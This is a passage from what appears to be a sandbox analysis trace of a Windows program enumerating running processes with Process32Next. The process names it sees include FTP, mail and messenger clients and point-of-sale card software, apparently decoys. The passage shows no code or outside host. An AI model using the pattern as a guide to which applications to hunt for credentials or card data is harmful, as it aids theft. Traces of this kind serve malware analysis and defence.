hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0151.040] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0151.042] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0151.044] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0151.045] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0151.047] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0151.049] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.050] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0151.053] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0151.054] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0151.056] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0151.057] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0151.059] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0151.061] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0151.062] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0151.065] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0151.066] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0151.068] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0151.070] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0151.072] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0151.073] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0151.075] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0151.076] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0151.078] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0151.080] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0151.081] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0151.083] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0151.085] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0151.088] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0151.089] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0151.091] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0151.093] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0151.095] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0151.096] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0151.098] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0151.100] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0151.103] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0151.105] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0151.107] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0151.110] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0151.113] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0151.115] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0151.117] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0151.119] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0151.121] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0151.123] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0151.125] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0151.127] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0151.129] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0151.131] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0151.143] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0151.148] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0151.153] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0151.157] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0151.163] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0151.166] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0151.169] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0151.173] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0151.175] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0151.178] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0151.180] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0151.183] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0151.185] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0151.188] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0151.190] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0151.192] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0151.195] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0151.197] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0151.199] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0151.202] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0151.204] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0151.207] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0151.209] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0151.211] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0151.214] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.217] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0151.219] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0151.221] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0151.224] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0151.226] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0151.228] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0151.231] CloseHandle (hObject=0x14bc) returned 1 [0151.231] Sleep (dwMilliseconds=0x64) [0151.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0151.344] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.345] Process32Next (in: 